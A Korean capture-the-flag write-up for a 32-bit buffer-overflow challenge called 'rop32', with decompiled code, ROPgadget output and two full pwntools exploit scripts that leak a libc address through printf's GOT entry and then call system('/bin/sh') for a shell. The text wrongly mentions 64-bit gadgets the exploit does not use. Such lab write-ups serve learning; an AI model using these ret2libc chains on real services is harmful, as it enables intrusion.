[2021/1학기/선린/시스템해킹/소수전공] rop32 - Write Up

2021. 8. 1. 02:29Wargame CTF/소수전공

 

문제

 

 

IDA 디컴파일
#main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0, 2, 0);
  printf("ROP 32bit : ");
  return vuln();
}


#vuln 함수

ssize_t vuln()
{
  char buf; // [esp+Eh] [ebp-3Ah]

  return read(0, &buf, 0x100u);
}

 

x86 문제로..

buf변수는 총 0x3Abyte를 할당받았지만, 입력은 0x100byte 만큼 입력받으므로, BOF 발생

 

NX 보호기법이 걸려있으므로, 쉘코드로는 불가능합니다.

딱히 특별한 것은 없으므로, ROP를 이용하여 문제를 풀어나가겠습니다.

 

 

분석

1. BUF, SFP를 채워주고, printf@plt(printf@got) 를 이용하여 실제 주소 leak

2. libc_base를 구하고, system의 실제 주소를 얻는다.

4. read 함수를 이용해 bss영역에 /bin/sh 를 넣어준다.

5. system 호출, 인자 값 bss ( bss안에는 현재 /bin/sh 의 문자열이 들어있다) > system(/bin/sh)

6. 쉘획득

 

필요한 가젯.

 

pop ret;

 : system, printf의 인자 1개

 

pop pop ret;

 : read의 인자 3개

 

 

 

명령어 : ROPgadget --binary "파일이름" | grep "pop"

user@user-virtual-machine:~/Desktop/simple pwnable/day8$ ROPgadget --binary rop32 | grep "pop"
0x0804832c : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048555 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804832e : add esp, 8 ; pop ebx ; ret
0x0804832a : bound eax, qword ptr [eax] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048554 : jecxz 0x80484d9 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x08048553 : jne 0x8048538 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804832f : les ecx, ptr [eax] ; pop ebx ; ret
0x08048556 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x08048557 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x0804855b : pop ebp ; ret
0x08048558 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048331 : pop ebx ; ret
0x0804855a : pop edi ; pop ebp ; ret
0x08048559 : pop esi ; pop edi ; pop ebp ; ret
0x080484fa : popal ; cld ; ret

 

먼저 pop rdi ; ret 가젯,

 

그 후..... pop rsi ; pop r15 ; ret 가젯 을 사용하겠습니다.

 

 

1번 풀이.

 > read함수를 이용하여 bss영역에 /bin/sh 를 넣은 후 system을 호출.

 

2번 풀이.

 > libc_Base를 이용해 /bin/sh 의 문자열을 찾은 후 system을 호출

 

 

Exploti code ( BSS 영역에 Bin/sh 넣기)

 

from pwn import *

context.log_level = 'debug'

e = ELF('./rop32')
p = process('./rop32')
libc = e.libc


popret = 0x08048331 # pop ebx ; ret
pppr = 0x08048559 #pop esi ; pop edi ; pop ebp ; ret

binsh = '/bin/sh\x00'

printf_plt = e.plt['printf']
printf_got = e.got['printf']

read_got = e.got['read']
read_plt = e.plt['read']

payload = ''
payload += 'A'*0x3a # buf
payload += 'B'*4 # sfp
payload += p32(printf_plt)
payload += p32(popret)
payload += p32(printf_got)
payload += p32(e.symbols['main'])
p.sendafter(':',payload)


leak = u32(p.recvuntil('\xf7')[-4:])
log.info('printf : ' + hex(leak))

libc_base = leak - libc.symbols['printf']
log.info('libc_base : ' + hex(libc_base))

system = libc_base + libc.symbols['system']
log.info('system : ' + hex(system))


payload2 = ''
payload2 += 'A'*0x3a # buf
payload2 += 'B'*4 # sfp
payload2 += p32(read_plt) 
payload2 += p32(pppr)
payload2 += p32(0) 
payload2 += p32(e.bss()+ 0x200)
payload2 += p32(8) 

payload2 += p32(system)
payload2 += p32(0)
payload2 += p32(e.bss()+0x200)

p.send(payload2)
p.send(binsh)

p.interactive()

 

 

 

Exploit code ( Bin/sh 문자열 검색 )

 

from pwn import *

context.log_level = 'debug'

e = ELF('./rop32')
p = process('./rop32')
libc = e.libc


popret = 0x08048331 # pop ebx ; ret

printf_plt = e.plt['printf']
printf_got = e.got['printf']

read_got = e.got['read']

payload = ''
payload += 'A'*0x3a # buf
payload += 'B'*4 # sfp
payload += p32(printf_plt)
payload += p32(popret)
payload += p32(printf_got)
payload += p32(e.symbols['main'])
p.sendafter(':',payload)

leak = u32(p.recvuntil('\xf7')[-4:])
log.info('printf : ' + hex(leak))

libc_base = leak - libc.symbols['printf']
log.info('libc_base : ' + hex(libc_base))

system = libc_base + libc.symbols['system']
log.info('system : ' + hex(system))

binsh = libc_base + libc.search('/bin/sh').next()
log.info('&/bin/sh : ' + hex(binsh))

payload2 = ''
payload2 += 'A'*0x3a # buf
payload2 += 'B'*4 # sfp
payload2 += p32(system)
payload2 += p32(popret)
payload2 += p32(binsh)
p.sendafter(':',payload2)

p.interactive()

32bit와 64bit의 SFP는 4byte, 8byte 입니다.

 

FLAG